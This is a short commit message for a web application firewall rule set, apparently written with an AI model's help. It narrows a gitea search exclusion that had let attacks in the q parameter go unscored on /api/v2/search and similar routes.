Subject: [PATCH] Core Rule Set: gitea's repository search exclusion skips
 /api/v2/search (closes #266)

Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.

Model: opus-5-5
